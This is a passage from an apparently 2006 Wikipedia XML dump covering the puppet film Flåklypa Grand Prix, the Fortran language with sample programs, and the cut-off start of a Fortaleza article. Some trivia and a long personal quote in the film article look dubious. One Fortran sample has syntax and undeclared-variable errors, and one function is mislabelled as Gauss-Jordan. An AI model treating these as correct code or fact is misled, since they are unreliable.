      <text xml:space="preserve">#REDIRECT [[fractal compression]]
</text>
    </revision>
  </page>
  <page>
    <title>Feminist</title>
    <id>11166</id>
    <revision>
      <id>15908930</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Feminism]]

</text>
    </revision>
  </page>
  <page>
    <title>Flåklypa Grand Prix</title>
    <id>11167</id>
    <revision>
      <id>41182110</id>
      <timestamp>2006-02-25T16:31:45Z</timestamp>
      <contributor>
        <ip>62.249.160.180</ip>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name           = Flåklypa Grand Prix |
  image          = Flaaklypa_grand_prix_large.gif |
  director       = [[Ivo Caprino]] |
  producer       = [[Ivo Caprino]] | 
  writer         = [[Kjell Aukrust]], [[Ivo Caprino]] |
  starring       = [[Frank Robert]], [[Kari Simonsen]], [[Toralv Maurstad]], [[Rolf Just Nilsen]] [[Harald-Heide Steen Jr.]], [[Helge Reiss]], [[Wenche Foss]], [[Per Theodor Haugen]], [[Henki Kolstad]], [[Leif Juster]], |  ))
  music          = [[Bent Fabricius Bjerre]] |
  
  editing        = [[Ivo Caprino]] |
  camera         = [[Charles Patey]] |
sound assistance = [[Jacob Trier]] |
sound design     = [[Jacob Trier]], [[Petter Fladeby]] |

  distributor    = [[Sandrew Metronome]] |
  released       = [[August 28]], [[1975]] |
  runtime        = 88 min |
  language       = Norwegian |
    
  imdb_id        = 0073000 |


}}
'''''Flåklypa Grand Prix''''' (released under the English title &quot;Pinchcliffe Grand Prix&quot;) is a [[Norway|Norwegian]] [[puppet]] film, directed by [[Ivo Caprino]]. The [[1975]] film is based on the literary characters of Norwegian author [[Kjell Aukrust]]. 

The movie is about the inventor Theodor Rimspoke and his friends Ludvig and Solan, who decide to create the  racecar ''Il Tempo Gigante'' to compete against the wicked racecar driver Rudolf Blodstrupmoen. Il Tempo Gigante has a spinning radar, which turns out to be useful when Blodstrupmoen starts engaging in smoke warfare during the race. The car also has an extremely big engine, and the body is made out of copper.

The pod race in [[Star Wars I: The Phantom Menace]] borrows many elements from ''Flåklypa'', which, according to the Internet Movie Database [http://www.imdb.com/title/tt0120915/trivia], was in turn inspired by the movie [[Grand Prix (movie)|Grand Prix]].

The film was made in five years by a very small crew, with Caprino as the sole animator. [[Bjarne Sandemose]] built most of the props, sets and cars and was in charge of the technial aspects of making the film, while Charley Patey was the camera man, Gerd Alfsen made the costumes and Ingeborg Riiser designed the puppets.

Americans got to see the film for the first time on the cable television channel Showtime.  Michael Rambousek, a local American Government Official raised in West Allis, WI, USA, can recall the early days of American cable television and how it related to foreign movies like the Pinchcliffe Grand Prix.  &quot;I remember getting cable TV as a child and the idea of 50-plus channels to watch was so fascinating as it really opened the possibilities to a wide variety of programming never before seen in America.  The first program I can ever remember watching when we got cable TV in 1981 was Gerry Anderson's &quot;Thunderbirds&quot; from the United Kingdom, which was on the Showtime channel.  This type of detailed puppet animation with advanced storylines was something that I had never seen before, and a genre of animation never prevalent in America.  The closest thing to it at the time on American television was the Muppet Show, sans the descriptive stories, authentic accessories, realistic puppet faces, and believable expressions, which aired on ABC Television.  Yet, as fascinated as I was about the &quot;Thunderbirds&quot; as a young boy, it was Ivo Caprino's &quot;Pinchcliffe Grand Prix&quot; that captivated me unlike any other childhood film I have ever seen.  Even today, there aren't many regular American movies that measure up to this masterpiece.  Immediately, I connected with the lead character Reodor Felgen (Theodore Rimspoke in English), who was very likeable and I forgot was really a puppet as I watched the film.  From my childhood perspective, Theodore lived my dream life; living in a cozy little home in the mountains with his two best friends, an inventor, being a bicycle shop expert, and having the ability to build a race car of his own.  His personality was extremely humble and he was content with his own life, which to me is a goal of any person; Reodor was the luckiest man in the world.  It is amazing to me how a puppet was able to provoke all of these feelings, a traditional sign of a great movie.  I remember thinking that had my parents not subscribed to cable TV that I would have never scene this Norwegian masterpiece.  When I told my parent about the movie and the quality, they actually renewed the cable subscription because they realized how exposure to great artists like Caprino could be beneficial to my intellectual development,&quot; said Rambousek.   

As of [[2004]], it is the most widely seen Norwegian film ever.

In [[2001]] a [[computer game]] based on the film was released. The game was produced by Caprino's son Remo, while his grandson Mario was [[lead programmer]]. The lead designer was [[Joe Dever]].
* In [[2001]] DVD was released 
* In [[2005]] new and digitaly restored DVD was released

== Trivia ==
* The movie was shown in cinemas every day of the week (mainly in Norway, Moscow and Tokyo) until 2003, 28 years in a row.
* Since Ivo Caprino was a perfectionist the animated band plays the right notes in correct timing to the soundtrack.
* The [[license plate]] &quot;HB 4596&quot; is a reference to [[moonshine]]. HB stands for &quot;hjemmebrent&quot; (home destilled) and 45 and 96 are alcohol by volume. 45% is was shop alcohol is and 96% is what moonshiners aim for.
* The movie inspierd a young Christian Von Koenigsegg to one day build the worlds fastes production car, something he did Febuary 2005 with his car the [[Koenigsegg CCR]]

== External links ==
* http://www.imdb.com/title/tt0073000/

[[Category:1975 films]][[Category:Norwegian films]]
{{animation-stub}}

[[no:Flåklypa Grand Prix]]
[[nn:Flåklypa Grand Prix]]
[[sv:Flåklypa Grand Prix]]</text>
    </revision>
  </page>
  <page>
    <title>Fortran</title>
    <id>11168</id>
    <revision>
      <id>41759068</id>
      <timestamp>2006-03-01T15:15:36Z</timestamp>
      <contributor>
        <username>Atlant</username>
        <id>124135</id>
      </contributor>
      <comment>We're both correct</comment>
      <text xml:space="preserve">'''Fortran''' (also '''FORTRAN''') is a  [[computer programming|computer]] [[programming language]] originally developed in the [[1950s]]; it is still used for [[scientific computing]] and [[numerical analysis|numerical]] computation half a century later. It is sometimes considered the earliest &quot;cross platform&quot; (standardized) programming language.

The name is a [[portmanteau]] of '''''For'''mula '''Tran'''slator/'''Tran'''slation''. Early versions of the language were known as FORTRAN, but the capitalization has been dropped in newer revisions beginning with Fortran 90. The official language [[International standard|standards]] now refer to the language as &quot;Fortran&quot;.

Fortran is [[static typing|statically typed]], [[compiled language|compiled]] (though sometimes [[interpreted language|interpreted]]), and [[Imperative programming|imperative]]. Although originally a [[Spaghetti code|spaghetti]] (FORTRAN 66) and [[Procedural programming|procedural]] (FORTRAN 77) programming language, recent versions of Fortran have included some features to support [[Array programming|vector]] (Fortran 90) and [[object-oriented programming|object-oriented]] (Fortran 2003) programming language.

==History==
[[Image:Hollerith card.jpg|thumb|300px|Fortran punch card. Note column markings.]]  
The first FORTRAN [[compiler]] was developed for the [[IBM 704]] in [[1954]]&amp;ndash;[[1957|57]] by an [[International Business Machines|IBM]] team led by [[John W. Backus]].  This was an [[Optimization (computer science)|optimizing]] compiler, because the authors reasoned that no one would use the language if its performance were not comparable to [[assembly language]].

The language was widely adopted by scientists for writing numerically intensive programs, which encouraged compiler writers to produce compilers that generate faster code. The inclusion of a [[complex number]] [[datatype|data type]] in the language made Fortran especially suited to scientific computation. There are many vendors of high performance Fortran compilers today.  Many advances in the theory and design of [[compiler]]s were motivated by the need to generate good code for Fortran programs.

Several standards of the language have appeared: FORTRAN II in [[1958]], FORTRAN IV in [[1961]], FORTRAN 66 in [[1966]], FORTRAN 77 in [[1977]], Fortran 90 in [[1990]], Fortran 95 in [[1995]], and Fortran 2003 in [[2003]]. Fortran III was designed in [[1958]], allowing for inline assembler code; but it was never released because the portability concept of a [[High-level programming language|high-level language]] would be lost. It also included other new features such as boolean expressions.  It was used by about 20 IBM customers but was never released as a commercial product. Boolean expressions and ''IF'' tests were also included in Fortran IV. Fortran II only had a three way ''IF'' branch, based on whether a numeric expression was negative, zero or positive.

Early FORTRAN programs were written on [[Punch card|punch cards]], and had strict rules for formatting. Line length was limited to 72 columns, originally because this was the maximum number of columns the online punch card reader of the 704 could read. Source statements were punched in columns 7 through 72. The first five columns were reserved for statement numbers or the ''C'' in column one that indicated a comment. Statements longer than 66 characters could be continued to additional cards by making a punch in column 6 of the continuation cards. There was a limit on the number of continuation cards allowed, in some implementations as few as three or four. Columns 73 to 80 were often used for sequence numbers, allowing a deck of cards to be resorted if it was dropped. Symbols were usually limited to the number of alphanumeric characters that fit in one machine [[word (computer science)|word]], six was typical but implementations on machines with small words might limit you to as few as three. As programs moved to magnetic media, vendors offered different extensions to increase line lengths. FORTRAN 77 was the last version to require fixed length symbols and names.

Fortran 90 was a major revision, adding [[free form language|free source form]], [[dynamic memory allocation]], [[array|array]] operations, [[abstract data type|abstract data types]], [[operator overloading]],  [[pointer|pointers]], and [[module (programming)|modules]] to group related [[subprogram|procedures]] and data together. Fortran 95 was a minor revision, adding features for [[parallel programming]] from the [[High Performance Fortran]] dialect, such as user-defined pure and elemental functions, and the forall construct.
The most recent formal standard for the language, published in 2004, is known as Fortran 2003. It is an upwardly-compatible extension of Fortran 95, adding, among other things, support for [[IEEE 754|IEEE floating-point arithmetic]], [[exception handling]], [[object oriented programming|object-oriented programming]], and improved interoperability with the [[C programming language|C]] language.  A comprehensive summary of the 2003 additions is at the [[International Organization for Standardization|ISO]] Fortran Working Group (WG5) web site, ftp://ftp.nag.co.uk/sc22wg5/N1551-N1600/N1579.pdf.

==Features==
Initially, the language relied on precise formatting of the [[source code]] and heavy use of statement numbers and [[goto (command)|goto]] statements. The ENTRY statement even allowed to pass the control into the ''middle'' of the subroutine being called. These quirks have been removed from newer versions of the language. Successive versions also introduced 'modern' programming concepts, such as source code [[comment|comments]] and output of text, IF-THEN-ELSE (in FORTRAN 77), and parallel constructs, while still attempting to maintain Fortran's 'lean' profile and high performance.  Among the most popular specialized Fortran-based languages were [[SAS programming language|SAS]], for generating statistical reports, and SIMSCRIPT, for simulating processes involving queuing. [[F programming language|F]] is a clean subset of Fortran 95 that removes the unstructured features of Fortran, such as EQUIVALENCE.

Vendors of high performance scientific computers ([[Burroughs Corporation|Burroughs]], [[Control Data Corporation|CDC]], [[Cray Research|Cray]], [[Honeywell Corporation|Honeywell]], [[International Business Machines|IBM]], [[Texas Instruments]], [[UNIVAC]]...) added extensions to Fortran to make use of special hardware features such as:  instruction [[cache]], CPU [[Pipeline (computer)|pipeline]]
, vector arrays, etc.  For example, one of IBM's Fortran compilers (H Extended IUP) had a level of optimization which reordered the [[machine code]] [[instruction (computer science)|instruction]]s to keep several internal arithmetic units busy at the same time.  Another example is CFD, a special 'version' of Fortran designed specifically for the [[ILLIAC IV]] supercomputer, running at [[NASA]]'s [[Ames Research Center]]. These extensions have either disappeared over time or had elements incorporated into the main standard; the major remaining extension is [[OpenMP]], which is a cross-platform extension for shared memory programming. One new extension, [[Co-array Fortran programming language|CoArray Fortran]], is intended to promote parallel programming.

==Syntax==
As what was basically a first attempt at designing a [[High-level programming language|high-level language]], the language's syntax is sometimes regarded as arcane by programmers familiar with more recently developed languages such as C. Fortran has stayed abreast of such advances, however, and contemporary versions have attempted to supersede and deprecate such syntax in favor of more robust and transparent syntax. In deprecated forms of the language, it is difficult to write a [[lexical analyzer]] and one-character mistakes can lead to runtime errors rather than compilation errors. Contemporary constructs, such as free-form source, ameliorate such problems, but, as with any language, sound programming practices are the best way to avoid such errors.

One should also consider that the features of Fortran have been tuned to scientific and numerical work, as opposed to software development.  For example, Fortran 95 has very short commands for performing mathematical operations on arrays which not only greatly improve program readability but also provide useful information to the compiler to enable it to vectorize operations.  For these reasons, while Fortran is not often used outside scientific and engineering numerical work, it remains the language of choice for high performance numerical computing. It is also simple for non-programmers to learn how to write efficient code. 

Since Fortran has been around for nearly fifty years, there is a vast body of Fortran in daily use throughout the scientific community (especially FORTRAN 77, the historically most important dialect). It is the primary language for some of the most intensive super-computing tasks, including weather and climate modeling.

==Sample programs==
The following programs can be compiled and run with any Fortran 90 or 95 compiler, such as GFortran [http://gcc.gnu.org/wiki/GFortran]. Most modern Fortran compilers expect a file with .f95 or .f90 extension.

===Hello world!===
Here follows the ''Hello, world!'' example in the &quot;classic&quot; FORTRAN:

 C       It was the first programming language
 C       with the comments support!
         WRITE (6,7)
   7     FORMAT(15H Hello, world! )      
         STOP
         END

The program prints the ''Hello'' statement into output channel number six (on most machines, it was the terminal). The keyboard was usually connected to the channel five. The number 7 in the WRITE statement refers to the format line. This line can be placed anywhere in the program. The symbols 15H in the format line define the length of the message being printed in terms of [[Hollerith]] characters. The message text contains no bounding quotes. The recent Fortran versions accept quotes instead, besides the use of C-like format statements (but still support older notation).  An updated version of the ''Hello, world!'' example reduces to:

   program HelloWorld
      !This is a comment
      write(*, '(&quot;Hello, world!&quot;)')
   end program HelloWorld

===Cylinder area===
This program calculates the area of a cylinder.

&lt;pre&gt;
program cylinder

!!! Calculate the area of a cylinder.

!!! Declare variables and constants.
!!! constants=pi 
!!! variables=radius squared and height

  implicit none ! Require all variables to be declared -- Fortran 90 feature.

  integer :: ierr
  character :: yn
  real :: radius,height,area
  real, parameter :: pi = 3.14159

  interactive_loop: do

     ! Prompt the user for radius and 
     ! height and read them.

     write (*,*) 'Enter radius and height.'
     read (*,*,iostat=ierr) radius,height

     ! If radius and height could not
     ! be read from input, then restart 
     ! the loop.

     if (ierr /= 0) then
        write(*,*) 'Error, invalid input.'
        cycle interactive_loop
     end if

     ! Compute area. The ** means &quot;raise to a power&quot;.

     area = 2*pi*(radius**2 + radius*height)

     ! Write the input variables (radius, height)
     ! and output (area) to the screen.

     write (*,'(1x,a7,f6.2,5x,a7,f6.2,5x,a5,f6.2)') &amp;
          'radius=',radius,'height=',height,'area=',area

     yn = ' '
     yn_loop: do
        write(*,*) 'Perform another calculation? y[n]'
        read(*,'(a1)') yn
        if (yn=='y' .or. yn=='Y') exit yn_loop
        if (yn=='n' .or. yn=='N' .or. yn==' ') exit interactive_loop
     end do yn_loop

  end do interactive_loop

end program cylinder
&lt;/pre&gt;

===Dynamic allocation and array operations===
&lt;p&gt;This program provides an example of two features in Fortran 90: dynamic memory allocation, and array operations.  Note the absence of do loops and if/then loops. Also note the use of descriptive variable names and general code formatting that comport with contemporary computer programing style. The program performs some averaging on interactively entered data.

&lt;p&gt;
&lt;pre&gt;
program average

!!! read in some numbers and take the average
!!! As written, if there are no data points (or no positive/negative points) 
!!!     an average of zero is returned.
!!! While this may not be expected behavior, it keeps this simple example simple.

  implicit none
  integer :: NumberOfPoints
  real, dimension(:), allocatable :: Points
  real :: AveragePoints=0., PositiveAverage=0., NegativeAverage=0.

  write (*,*) 'Input number of points to average:'
  read (*,*) NumberOfPoints

  allocate (Points(NumberOfPoints))

  write (*,*) 'Enter the Points to average:'
  read (*,*) Points

!!! take the average by summing Points and dividing by NumberOfPoints

  if (NumberOfPoints&gt;0) AveragePoints = sum(Points)/NumberOfPoints

!!! now form average over positive and negative points only

  if (count(Points&gt;0.)&gt;0) PositiveAverage = sum(Points, Points&gt;0.)/count(Points&gt;0.)
  if (count(Points&lt;0.)&gt;0) NegativeAverage = sum(Points, Points&lt;0.)/count(Points&lt;0.)

  deallocate (Points)

!!! print result to terminal
  write (*,'(''Average = '', 1g12.4)') AveragePoints
  write (*,'(''Average of positive points = '', 1g12.4)') PositiveAverage
  write (*,'(''Average of negative points = '', 1g12.4)') NegativeAverage

end program average
&lt;/pre&gt;

===Retro FORTRAN===
A [[retro]] example of a FORTRAN IV (as it was called in 1968) program deck is available on the [[IBM 1130]] page including the IBM 1130 DM2 [[JCL]] required for compilation and execution.

A curious feature common in early FORTRAN was the &quot;3-way go to&quot; statement (See [[GOTO]]). It was known as the &quot;Arithmetic IF Statement&quot;. An example would resemble:

     IF (X - Y) 100, 200, 300

The 3 numbers are line numbers. If one translated this into a more modern version of FORTRAN, the logic of this would resemble:

   if (x - y &amp;lt; 0) goto 100
   if (x - y == 0) goto 200
   if (x - y &amp;gt; 0) goto 300 

Mentally one was often taught to view them as:

   if (x &amp;lt; y) goto 100
   if (x == y) goto 200
   if (x &amp;gt; y) goto 300     

For &quot;greater than or equal&quot; or &quot;less than or equal&quot;, two goto targets would be the same. An alternative example that makes no use of the obsolete goto feature is:

&lt;pre&gt;
   select case(x - y)
      case(:-1)
         !goto 100 code
      case(0)
         !goto 200 code
      case(1:)
         !goto 300 code
   end select
&lt;/pre&gt;

==Advanced Sample Programs==
The following examples are intended to be compiled and run with any Fortran compiler that conforms to the Fortran 95 Standard.

===Procedures===
&lt;p&gt;Modern Fortran features available for use with [[procedures]], include deferred-shape and protected and optional arguments, as shown in the following example.
&lt;p&gt;

&lt;pre&gt;
function GaussSparse(NumIter, Tol, b, A, X, ActualIter)

   !This function solves a system of equations (Ax = b) by using the Gauss-Jordan Method

   implicit none

   real GaussSparse

   !Input: its value cannot be modified from within the function
   integer, intent(in) :: NumIter
   real, intent(in) :: Tol
   real, intent(in), dimension(1:) :: b
   real, intent(in), dimension(1:,1:) :: A

   !Input/Output: its input value is used within the function, and can be modified
   real, intent(inout), dimension(1:) :: X

   !Output: its value is modified from within the function, only if the argument is required
   integer, optional, intent(out) :: ActualIter

   !Locals
   integer i, n, Iter
   real TolMax, Xk

   !Initialize values
   n = ubound(b, dim = 1)  !Size of the array, obtained by the use of the ubound intrinsic routine
   TolMax = 2. * Tol
   Iter = 0

   !Compute solution until convergence
   convergence_loop: do while (TolMax &gt;= Tol.AND.Iter &lt; NumIter); Iter = Iter + 1
      
      TolMax = -1. !Reset the tolerance value

      !Compute solution for the k-th iteration
      iteration_loop: do i = 1, n
         !Compute the current x-value
         Xk = (b(i) - sum(A(i,1:i-1) * X(1:i-1)) - sum(A(i,i+1:n) * X(i+1:n))) / A(i, i)

         !Compute the error of the solution
         TolMax = max((abs(X(i) - Xk)/(1. + abs(Xk))) ** 2, abs(A(i, i) * (X(i) - Xk)), TolMax)
         X(i) = Xk
      enddo iteration_loop
   enddo convergence_loop

   if (present(ActualIter)) ActualIter = Iter
   GaussSparse = TolMax

end function GaussSparse
&lt;/pre&gt;

&lt;p&gt;
If a return value is required only through arguments, a [[subroutine]] is preferred, as follows:
&lt;p&gt;

&lt;pre&gt;
subroutine Swap_Real(a1, a2)

   implicit none

   !Input/Output
   real, intent(inout) :: a1(:), a2(:)

   !Locals
   integer :: lb(1), &amp; !Lower bound
              ub(1)    !Upper bound
   integer i
   real a

   !Get bounds
   lb = lbound(a1)
   ub = ubound(a1)

   !Swap
   do i = lb(1), ub(1)
      a = a1(i)
      a1(i) = a2(i)
      a2(i) = a
   enddo

end subroutine Swap_Real
&lt;/pre&gt;

===Modules===
&lt;p&gt;A [[module (programming)]] is program unit which contains both data and procedures.  In Fortran, it only differs from the main program unit in that it contains no actual executable statements.  
&lt;p&gt;

&lt;pre&gt;
module GlobalModule

   !Reference to a pair of procedures included in a previously compiled 
   !module named PortabilityLibrary
   use PortabilityLibrary, only: GetLastError, &amp;  !Generic procedure
                                 Date             !Specific procedure

   !Constants
   real, parameter :: zero = (0.D+00)
   real*8, parameter :: pi = (3.14159265358979)

   !Variables
   integer :: n, m, retint
   logical*2 :: status, retlog
   character(50) :: AppName

   !Arrays
   real, allocatable, dimension(:,:,:) :: a, b, c, d
   complex*8, allocatable, dimension(:) :: z

   !Structures
   type ijk
      integer i
      integer j
      integer k
   end type ijk

   type matrix
     integer m, n
     real, allocatable :: a(:,:)  !Fortran 2003 feature. For Fortran 95 use the pointer 
                                  !attribute instead
   end type matrix


   !All the variables and procedures from this module can be accessed 
   !by other program units, except for AppName
   public
   private AppName

   !Procedure overloading
   interface swap
      module procedure swap_Integer, swap_Real
   end interface swap

   interface GetLastError !This adds one more procedure to the generic procedure GetLastError
      module procedure GetLastError_GlobalModule
   end interface GetLastError

   !Operator overloading
   interface operator(+)
      module procedure add_ijk
   end interface

   !Prototype for external procedure
   interface
      real function GaussSparse(NumIter, Tol, b, A, X)
         integer, intent(in) :: NumIter
         real, intent(in) :: Tol
         real, intent(in), dimension(1:) :: b
         real, intent(in), dimension(1:,1:) :: A
         real, intent(inout), dimension(1:) :: X
      end function GaussSparse
   end interface

   !Procedures included in the module
   contains

   !Internal function
   function add_ijk(ijk_1, ijk_2)
     type(ijk) add_ijk, ijk_1, ijk_2
     intent(in) :: ijk_1, ijk_2
     add_ijk = ijk(ijk_1%i + ijk_2%i, ijk_1%j + ijk_2%j, ijk_1%k + ijk_2%k)
   end function add_ijk
 
   !Include external files
   include 'Swap_Integer.f90'  !Comments SHOULDN'T be added here
   include 'Swap_Real.f90'
end module GlobalModule
&lt;/pre&gt;

===Pointers And Targets===
&lt;p&gt;In Fortran the concept of [[pointer]] differs from that one conceived in C-like languages in that it does not store the memory address of any other variable (unless it is defined as an integer, and a compiler-supplied function is used to do so, or the compiler provides a C-pointer feature). Instead, it serves whether as an alias for another variable (or part of it), or as an ordinary dynamically allocated variable. If an alias, it is said that its status is associated, and the variable to which it ''points'' must have either the pointer or target attribute.  The following example illustrates the concept:
&lt;p&gt;

&lt;pre&gt;
program Test

   !NOTE: Variable expressions in format statements (e.g., &lt;m&gt; or &lt;n&gt;), are compiler-dependant, 
   !      whereas array notation (e.g., [1,2,3]) is a Fortran 2003 feature; for Fortran 95 use
   !      (/1,2,3/) instead.  

   use FunctionsModule, only: DoSomething =&gt; A  !This function performs any operation on the integer 
                                                !input and returns its integer result.

   implicit none

   integer, parameter :: m = 3, n = 3
   integer, pointer :: p(:)=&gt;null(), q(:,:)=&gt;null()
   integer, allocatable, target :: A(:,:)
   integer ios = 0

   allocate(A(1:m, 1:n), q(1:m, 1:n), stat = ios)
   if (ios /= 0) stop 'Error during allocation of A and q'
 
   !Assign the matrix
   !A = [[1   4   7]
   !     [2   5   8]
   !     [3   6   9]]
   A = reshape([(i, i = 1, m*n)], [m, n])
   q = A

   !p will be associated with the first column of A
   p =&gt; A(:, 1)

   !This operation on p has a direct effect on matrix A
   p = p ** 2

   !This will end the association between p and the first column of A
   nullify(p)

   !Matrix A becomes:
   !A = [[1  4  7  ]
   !     [4  5  8  ]
   !     [9  6  9  ]]
   write(*, '(&quot;Matrix A becomes:&quot;,/,&quot;A = [&quot;,&lt;m&gt;(&quot;[&quot;,&lt;n&gt;(i1,2x),&quot;]&quot;,/,)&quot;]&quot;)') ((A(i, j), j = 1, n), i = 1, m)

   !Perform some array operation
   q = q + A   

   !Matrix q becomes:
   !q = [[ 2   8  14  ]
   !     [ 6  10  16  ]
   !     [12  12  18  ]]
   write(*, '(&quot;Matrix q becomes:&quot;,/,&quot;q = [&quot;,&lt;m&gt;(&quot;[&quot;,&lt;n&gt;(i2,2x),&quot;]&quot;,/,)&quot;]&quot;)') ((q(i, j), j = 1, n), i = 1, m)

   !Use p as an ordinary array
   allocate (p(1:m*n), stat = ios)
   if (ios /= 0) stop 'Error during allocation of p'

   !Perform some array operation
   p = [((DoSomething(a(i, j) + b(i, j)), i = 1, m), j = 1, n)]

   write(*, '(&lt;m*n&gt;(i1,4x,&quot;p[&quot;,i1,&quot;] = &quot;,i5))') (i, p(i), i = 1, m * n)

   deallocate(A, p, q, stat = ios)
   if (ios /= 0) stop 'Error during deallocation'

end program Test
&lt;/pre&gt;

== The standard FORTRAN joke ==
&quot;GOD is REAL (unless declared INTEGER).&quot; The joke works because, in the absence of an IMPLICIT INTEGER declaration (setting the letter range of integers) or an explicit declaration of a variable giving its type, variables beginning with the letters '''I''' through '''N''' were automatically considered to be [[integer]]s, while '''A''' through '''H''' and '''O''' through '''Z''' were considered to be [[real number]]s.

Another joke circa 1980 following the definition of FORTRAN 77 was &quot;What will the language of the year 2000 look like? ... Nobody knows but it will be called FORTRAN.&quot;

==References==
General:
*{{cite book
 | first = Daniel D.
 | last = McCracken
 | authorlink = 
 | coauthors =
 | year = 1961
 | title = A Guide to Fortran Programming
 | publisher = Wiley
 | id = 
}}
*{{cite book
 | first = Daniel D.
 | last = McCracken
 | authorlink = 
 | coauthors =
 | year = 1965
 | title = A Guide to Fortran IV Programming
 | publisher = Wiley
 | id = 
}}
*{{cite book
 | first = Michael
 | last = Metcalf
 | authorlink = 
 | coauthors = John Reid, Malcolm Cohen
 | year = 2004
 | title = Fortran 95/2003 Explained
 | publisher = Oxford University Press
 | id = 
}}
*{{cite book
 | first = Larry
 | last = Nyhoff
 | authorlink = 
 | coauthors = Sanford Leestma
 | year = 1995
 | title = FORTRAN 77 for Engineers and Scientists with an Introduction to FORTRAN 90
 | edition = 4th Edition
 | publisher = Prentice Hall
 | id = ISBN 013363003X
}}

Standards documents:
* ANSI X3.198-1992 (R1997). Title: ''Programming Language &quot;Fortran&quot; Extended''. Informally known as Fortran 90. Published by [[ANSI]].
* ISO/IEC 1539-1:1997. Title: ''Information technology - Programming languages - Fortran - Part 1: Base language''. Informally known as Fortran 95.  There are a further two parts to this standard.  Part 1 has been formally adopted by ANSI.
* ISO/IEC 1539-1:2004. Title: ''Information technology -- Programming languages -- Fortran -- Part 1: Base language''. Informally known as Fortran 2003.

==External links==
===General===
*[http://www.fh-jena.de/~kleine/history/ Early Fortran Manuals]
*[http://community.computerhistory.org/scc/projects/FORTRAN/ ''History of FORTRAN and FORTRAN II'' at the Computer History Museum website]
*[http://www.fortran.com The Fortran Company: compilers, books, tutorials, consulting]
*[http://dmoz.org/Computers/Programming/Languages/Fortran/ Fortran Open Directory category]
*[http://groups-beta.google.com/group/comp.lang.fortran Usenet forum: comp.lang.fortran]
*[http://www.kcl.ac.uk/kis/support/cit/fortran/f90home.html Fortran 90, 95 and 2003 information]
*[http://www.ibiblio.org/pub/languages/fortran/unfp.html USER NOTES ON FORTRAN PROGRAMMING (UNFP)]
*[http://www.aspire.cs.uah.edu/textbook/index_f77.html Unit 7.1 FORTRAN 77] &amp;ndash; Part of [http://www.aspire.cs.uah.edu/ ASPIRE]'s textbook in Computational Science
*[http://www.aspire.cs.uah.edu/textbook/index_f90.html Unit 7.2 FORTRAN 90] &amp;ndash; Ditto
*[http://acmqueue.com/modules.php?name=Content&amp;pa=showpage&amp;pid=271 How Not to Write FORTRAN in Any Language] There are characteristics of good coding that transcend all programming languages.
*[http://www.allinea.com/?page=48 Debugging tool for FORTRAN and its derivatives.]
*[http://rsusu1.rnd.runnet.ru/develop/fortran/prof77/prof77.html Professional Programmer's Guide to Fortran77]
* [http://csit1cwe.fsu.edu/extra_link/xlhpf/xlflrm03.htm IBM Fortran language reference]
* [http://www.pbm.com/~lindahl/real.programmers.html The Fortran vs. Pascal &quot;Real Programmers Don't Use Pascal&quot; article]

===Program repositories===
*[http://www.nag.co.uk/nagware/Examples.asp Fortran 90 Software Repository]
*[http://www.nhse.org/ National HPCC software repository]
*[http://www.netlib.org/ Netlib Repository]
*[http://crd.lbl.gov/~dhbailey/mpdist/index.html High-Precision Software Directory]

===Proprietary compilers===
*[http://www.absoft.com Absoft]
*[http://www.cray.com/ Cray]
*[http://www.fr.fse.fujitsu.com/devuk/solaris.shtml Fujitsu]
*[http://h18009.www1.hp.com/fortran HP]
*[http://www-306.ibm.com/software/awdtools/fortran IBM]
*[http://www.intel.com/software/products/compilers Intel]
*[http://www.lahey.com Lahey]
*[http://www.nasoftware.co.uk/fortran-plus/index.html NA Software]
*[http://www.nag.co.uk/nagware/NP.asp NAG]
*[http://www.pathscale.com/products.html PathScale]
*[http://www.pgroup.com Portland Group]
*[http://www.silverfrost.com/11/ftn95/overview.asp Salford]
*[http://developers.sun.com/prodtech/cc/compilers_index.html Sun]

===Free software compilers===
*[http://www.g95.org/ g95 -- Fortran 95 (under development)]
*[http://gcc.gnu.org/wiki/GFortran Gfortran -- Fortran 95 (under development)]
*[http://www.openwatcom.org/ Open Watcom -- Fortran 77 and C/C++]
*[http://www.gnu.org/software/fortran/fortran.html g77 -- Fortran 77]

===Online books===
*[http://home.casema.nl/fam.engelberts/ Fortran Documentation] - Fortran Documentation (particularly Fortran 77).

{{Major programming languages small}}

[[Category:Array programming languages]]
[[Category:Imperative programming languages]]
[[Category:Programming languages]]
[[Category:Numerical programming languages]]
[[Category:Object-oriented programming languages]]
[[Category:Procedural programming languages]]
[[Category:ANSI standards]]
[[Category:ISO standards]]
[[Category:IEC standards]]

[[ar:فورتران]]
[[bs:FORTRAN]]
[[ca:Fortran]]
[[cs:Fortran]]
[[da:Fortran]]
[[de:Fortran]]
[[eo:Fortran (programlingvo)]]
[[es:Fortran]]
[[fi:Fortran]]
[[fr:Fortran]]
[[he:FORTRAN]]
[[hr:Fortran]]
[[ia:FORTRAN]]
[[it:Fortran]]
[[ja:FORTRAN]]
[[ko:포트란]]
[[lt:Fortran]]
[[nl:Fortran]]
[[nn:Fortran]]
[[no:Fortran]]
[[pl:Fortran]]
[[pt:Fortran]]
[[ro:Fortran]]
[[ru:Фортран]]
[[sk:Fortran]]
[[sl:Fortran]]
[[sr:FORTRAN]]
[[sv:Fortran]]
[[th:ภาษาฟอร์แทรน]]
[[tr:FORTRAN]]
[[vi:Fortran]]
[[zh:Fortran]]</text>
    </revision>
  </page>
  <page>
    <title>Fortaleza</title>
    <id>11169</id>
    <revision>
      <id>41862645</id>
      <timestamp>2006-03-02T05:25:59Z</timestamp>
      <contributor>
        <ip>134.7.248.137</ip>
      </contributor>
      <comment>/* Sports */</comment>
      <text xml:space="preserve">[[Image:Fortaleza_bandeira.png|thumb|right|180px|Official Flag]]

'''Fortaleza''' ([[Portuguese language|Portuguese]] for fortress, [[pronunciation|pron.]] [[IPA]] {{IPA|foɾ.ta.le.zɐ}}) is the State capital of [[Ceará]], located in northeastern [[Brazil]]. With population of around 2 million, it is considered the third most important city in the region in economics terms, after [[Salvador, Brazil|Salvador]] in [[Bahia]] and [[Recife, Brazil|Recife]] in [[Pernambuco]]. Fortaleza has an area of 336 square km. In the North of the city one can locate the [[Atlantic Ocean]], in the south one can finde the cities of [[Pacatuba]], [[Eusébio(city)|Eusébio]], [[Maracanaú]] and [[Itaitinga]]. To the East it is the county of [[Aquiraz]] and the [[Atlantic Ocean]]. And to west the city of [[Caucaia]].

== History ==

